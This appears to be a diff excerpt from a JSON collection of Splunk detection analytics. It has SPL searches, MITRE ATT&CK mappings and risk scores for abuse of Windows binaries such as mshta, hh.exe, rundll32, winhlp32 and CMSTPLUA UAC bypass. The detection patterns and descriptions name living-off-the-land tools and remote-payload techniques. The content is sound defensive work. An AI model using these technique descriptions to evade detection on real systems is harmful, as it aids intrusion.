"Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ attempting to load a DLL in a suspicious manner.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1055.001", - "mitre_attack_technique": "Dynamic-link Library Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "BackdoorDiplomacy", - "Lazarus Group", - "Leviathan", - "Malteiro", - "Putter Panda", - "TA505", - "Tropic Trooper", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1055", - "mitre_attack_technique": "Process Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT32", - "APT37", - "APT41", - "APT5", - "Cobalt Group", - "Kimsuky", - "PLATINUM", - "Silence", - "TA2541", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Remote Assistance Spawning Process", - "description": "The following analytic detects Microsoft Remote Assistance (msra.exe) spawning PowerShell.exe or cmd.exe as a child process. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events where msra.exe is the parent process. This activity is significant because msra.exe typically does not spawn command-line interfaces, indicating potential process injection or misuse. If confirmed malicious, an attacker could use this technique to execute arbitrary commands, escalate privileges, or maintain persistence on the compromised system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=msra.exe `windows_shells` by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_remote_assistance_spawning_process_filter`", - "tags": { - "analytic_story": [ - "Unusual Processes" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$, generating behavior not common with msra.exe.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1055", - "mitre_attack_technique": "Process Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT32", - "APT37", - "APT41", - "APT5", - "Cobalt Group", - "Kimsuky", - "PLATINUM", - "Silence", - "TA2541", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Winhlp32 Spawning a Process", - "description": "The following analytic detects winhlp32.exe spawning a child process that loads a file from appdata, programdata, or temp directories. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events. This activity is significant because winhlp32.exe has known vulnerabilities and can be exploited to execute malicious code. If confirmed malicious, an attacker could use this technique to execute arbitrary scripts, escalate privileges, or maintain persistence within the environment. Analysts should review parallel processes, module loads, and file modifications for further suspicious behavior.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=winhlp32.exe Processes.process IN (\"*\\\\appdata\\\\*\",\"*\\\\programdata\\\\*\", \"*\\\\temp\\\\*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `winhlp32_spawning_a_process_filter`", - "tags": { - "analytic_story": [ - "Remcos" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$, and is not typical activity for this process.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1055", - "mitre_attack_technique": "Process Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT32", - "APT37", - "APT41", - "APT5", - "Cobalt Group", - "Kimsuky", - "PLATINUM", - "Silence", - "TA2541", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Wscript Or Cscript Suspicious Child Process", - "description": "The following analytic identifies suspicious child processes spawned by WScript or CScript. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific parent and child process names. This activity is significant as adversaries often use WScript or CScript to execute Living Off The Land Binaries (LOLBINs) or other scripts like PowerShell for defense evasion. If confirmed malicious, this behavior could allow attackers to execute arbitrary code, escalate privileges, or maintain persistence within the environment, posing a significant security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name IN (\"cscript.exe\", \"wscript.exe\") Processes.process_name IN (\"regsvr32.exe\", \"rundll32.exe\",\"winhlp32.exe\",\"certutil.exe\",\"msbuild.exe\",\"cmd.exe\",\"powershell*\",\"wmic.exe\",\"mshta.exe\") by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `wscript_or_cscript_suspicious_child_process_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "FIN7", - "NjRAT", - "Remcos", - "Unusual Processes", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "wscript or cscript parent process spawned $process_name$ in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1055", - "mitre_attack_technique": "Process Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT32", - "APT37", - "APT41", - "APT5", - "Cobalt Group", - "Kimsuky", - "PLATINUM", - "Silence", - "TA2541", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1543", - "mitre_attack_technique": "Create or Modify System Process", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1134.004", - "mitre_attack_technique": "Parent PID Spoofing", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1134", - "mitre_attack_technique": "Access Token Manipulation", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Blue Mockingbird", - "FIN6" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -292531,5128 +209269,7 @@ "Event ID": "4688 ", "Event Name": "Process CMD Line" } - ], - { - "name": "Suspicious Rundll32 Rename", - "description": "The following hunting analytic identifies renamed instances of rundll32.exe executing. rundll32.exe is natively found in C:\\Windows\\system32 and C:\\Windows\\syswow64. During investigation, validate it is the legitimate rundll32.exe executing and what script content it is loading. This query relies on the original filename or internal name from the PE meta data. Expand the query as needed by looking for specific command line arguments outlined in other analytics.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.original_file_name=RUNDLL32.exe AND Processes.process_name!=rundll32.exe by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `suspicious_rundll32_rename_filter`", - "tags": { - "analytic_story": [ - "Masquerading - Rename System Utilities", - "Suspicious Rundll32 Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "User", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious renamed rundll32.exe binary ran on $dest$ by $user$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1218.011", - "mitre_attack_technique": "Rundll32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "CopyKittens", - "FIN7", - "Gamaredon Group", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Magic Hound", - "MuddyWater", - "Sandworm Team", - "TA505", - "TA551", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1036.003", - "mitre_attack_technique": "Rename System Utilities", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT32", - "GALLIUM", - "Lazarus Group", - "menuPass" - ] - } - ] - } - }, - { - "name": "CMLUA Or CMSTPLUA UAC Bypass", - "description": "The following analytic detects the use of COM objects like CMLUA or CMSTPLUA to bypass User Account Control (UAC). It leverages Sysmon EventCode 7 to identify the loading of specific DLLs (CMLUA.dll, CMSTPLUA.dll, CMLUAUTIL.dll) by processes not typically associated with these libraries. This activity is significant as it indicates an attempt to gain elevated privileges, a common tactic used by ransomware adversaries. If confirmed malicious, this could allow attackers to execute code with administrative rights, leading to potential system compromise and further malicious activities.", - "search": "`sysmon` EventCode=7 ImageLoaded IN (\"*\\\\CMLUA.dll\", \"*\\\\CMSTPLUA.dll\", \"*\\\\CMLUAUTIL.dll\") NOT(process_name IN(\"CMSTP.exe\", \"CMMGR32.exe\")) NOT(Image IN(\"*\\\\windows\\\\*\", \"*\\\\program files*\")) | stats count min(_time) as firstTime max(_time) as lastTime by dest Image ImageLoaded process_name EventCode Signed ProcessId | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `cmlua_or_cmstplua_uac_bypass_filter`", - "tags": { - "analytic_story": [ - "DarkSide Ransomware", - "LockBit Ransomware", - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The following module $ImageLoaded$ was loaded by a non-standard application on endpoint $dest$", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.003", - "mitre_attack_technique": "CMSTP", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Cobalt Group", - "MuddyWater" - ] - } - ] - } - }, - { - "name": "Control Loading from World Writable Directory", - "description": "The following analytic identifies instances of control.exe loading a .cpl or .inf file from a writable directory, which is related to CVE-2021-40444. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions mapped to the `Processes` node of the `Endpoint` data model. This activity is significant as it may indicate an attempt to exploit a known vulnerability, potentially leading to unauthorized code execution. If confirmed malicious, this could allow an attacker to gain control over the affected system, leading to further compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=control.exe OR Processes.original_file_name=CONTROL.EXE) AND Processes.process IN (\"*\\\\appdata\\\\*\", \"*\\\\windows\\\\temp\\\\*\", \"*\\\\programdata\\\\*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `control_loading_from_world_writable_directory_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Microsoft MSHTML Remote Code Execution CVE-2021-40444" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to load a suspicious file from disk.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.002", - "mitre_attack_technique": "Control Panel", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Ember Bear" - ] - } - ] - } - }, - { - "name": "Detect HTML Help Renamed", - "description": "The following analytic detects instances where hh.exe (HTML Help) has been renamed and is executing a Compiled HTML Help (CHM) file. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and original file names. This activity is significant because attackers can use renamed hh.exe to execute malicious scripts embedded in CHM files, potentially leading to code execution. If confirmed malicious, this technique could allow attackers to run arbitrary scripts, escalate privileges, or persist within the environment, posing a significant security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name!=hh.exe AND Processes.original_file_name=HH.EXE by Processes.dest Processes.user Processes.parent_process_name Processes.original_file_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_html_help_renamed_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Suspicious Compiled HTML Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "The following $process_name$ has been identified as renamed, spawning from $parent_process_name$ on $dest$ executed by $user$", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.001", - "mitre_attack_technique": "Compiled HTML File", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT38", - "APT41", - "Dark Caracal", - "OilRig", - "Silence" - ] - } - ] - } - }, - { - "name": "Detect HTML Help Spawn Child Process", - "description": "The following analytic detects the execution of hh.exe (HTML Help) spawning a child process, indicating the use of a Compiled HTML Help (CHM) file to execute Windows script code. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events where hh.exe is the parent process. This activity is significant as it may indicate an attempt to execute malicious scripts via CHM files, a known technique for bypassing security controls. If confirmed malicious, this could lead to unauthorized code execution, potentially compromising the system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=hh.exe by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_html_help_spawn_child_process_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "Living Off The Land", - "Suspicious Compiled HTML Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ spawning a child process, typically not normal behavior.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.001", - "mitre_attack_technique": "Compiled HTML File", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT38", - "APT41", - "Dark Caracal", - "OilRig", - "Silence" - ] - } - ] - } - }, - { - "name": "Detect HTML Help URL in Command Line", - "description": "The following analytic detects the execution of hh.exe (HTML Help) loading a Compiled HTML Help (CHM) file from a remote URL. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions containing URLs. This activity is significant as it can indicate an attempt to execute malicious scripts via CHM files, potentially leading to unauthorized code execution. If confirmed malicious, this could allow an attacker to run scripts using engines like JScript or VBScript, leading to further system compromise or data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_hh` Processes.process=*http* by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.original_file_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_html_help_url_in_command_line_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Suspicious Compiled HTML Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ contacting a remote destination to potentally download a malicious payload.", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.001", - "mitre_attack_technique": "Compiled HTML File", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT38", - "APT41", - "Dark Caracal", - "OilRig", - "Silence" - ] - } - ] - } - }, - { - "name": "Detect HTML Help Using InfoTech Storage Handlers", - "description": "The following analytic detects the execution of hh.exe (HTML Help) using InfoTech Storage Handlers to load Windows script code from a Compiled HTML Help (CHM) file. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant because it can be used to execute malicious scripts embedded within CHM files, potentially leading to code execution. If confirmed malicious, this technique could allow an attacker to execute arbitrary code, escalate privileges, or persist within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_hh` Processes.process IN (\"*its:*\", \"*mk:@MSITStore:*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_html_help_using_infotech_storage_handlers_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Suspicious Compiled HTML Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "$process_name$ has been identified using Infotech Storage Handlers to load a specific file within a CHM on $dest$ under user $user$.", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.001", - "mitre_attack_technique": "Compiled HTML File", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT38", - "APT41", - "Dark Caracal", - "OilRig", - "Silence" - ] - } - ] - } - }, - { - "name": "Detect mshta inline hta execution", - "description": "The following analytic detects the execution of \"mshta.exe\" with inline protocol handlers such as \"JavaScript\", \"VBScript\", and \"About\". It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line arguments and process details. This activity is significant because mshta.exe can be exploited to execute malicious scripts, potentially leading to unauthorized code execution. If confirmed malicious, this could allow an attacker to execute arbitrary code, escalate privileges, or establish persistence within the environment, posing a severe security risk.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process) as process values(Processes.parent_process) as parent_process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_mshta` (Processes.process=*vbscript* OR Processes.process=*javascript* OR Processes.process=*about*) by Processes.user Processes.process_name Processes.original_file_name Processes.parent_process_name Processes.dest | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `detect_mshta_inline_hta_execution_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Suspicious MSHTA Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ executing with inline HTA, indicative of defense evasion.", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.005", - "mitre_attack_technique": "Mshta", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "Confucius", - "Earth Lusca", - "FIN7", - "Gamaredon Group", - "Inception", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "MuddyWater", - "Mustang Panda", - "SideCopy", - "Sidewinder", - "TA2541", - "TA551" - ] - } - ] - } - }, - { - "name": "Detect mshta renamed", - "description": "The following analytic identifies instances where mshta.exe has been renamed and executed. It leverages Endpoint Detection and Response (EDR) data, specifically focusing on the original file name field to detect discrepancies. This activity is significant because renaming mshta.exe is a common tactic used by attackers to evade detection and execute malicious scripts. If confirmed malicious, this could allow an attacker to execute arbitrary code, potentially leading to system compromise, data exfiltration, or further lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name!=mshta.exe AND Processes.original_file_name=MSHTA.EXE by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_mshta_renamed_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Suspicious MSHTA Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "The following $process_name$ has been identified as renamed, spawning from $parent_process_name$ on $dest$ executed by user $user$", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.005", - "mitre_attack_technique": "Mshta", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "Confucius", - "Earth Lusca", - "FIN7", - "Gamaredon Group", - "Inception", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "MuddyWater", - "Mustang Panda", - "SideCopy", - "Sidewinder", - "TA2541", - "TA551" - ] - } - ] - } - }, - { - "name": "Detect MSHTA Url in Command Line", - "description": "The following analytic detects the use of Microsoft HTML Application Host (mshta.exe) to make remote HTTP or HTTPS connections. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line arguments containing URLs. This activity is significant because adversaries often use mshta.exe to download and execute remote .hta files, bypassing security controls. If confirmed malicious, this behavior could allow attackers to execute arbitrary code, potentially leading to system compromise, data exfiltration, or further network infiltration.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process) as process values(Processes.parent_process) as parent_process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_mshta` (Processes.process=\"*http://*\" OR Processes.process=\"*https://*\") by Processes.user Processes.process_name Processes.parent_process_name Processes.original_file_name Processes.dest | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `detect_mshta_url_in_command_line_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Suspicious MSHTA Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to access a remote destination to download an additional payload.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.005", - 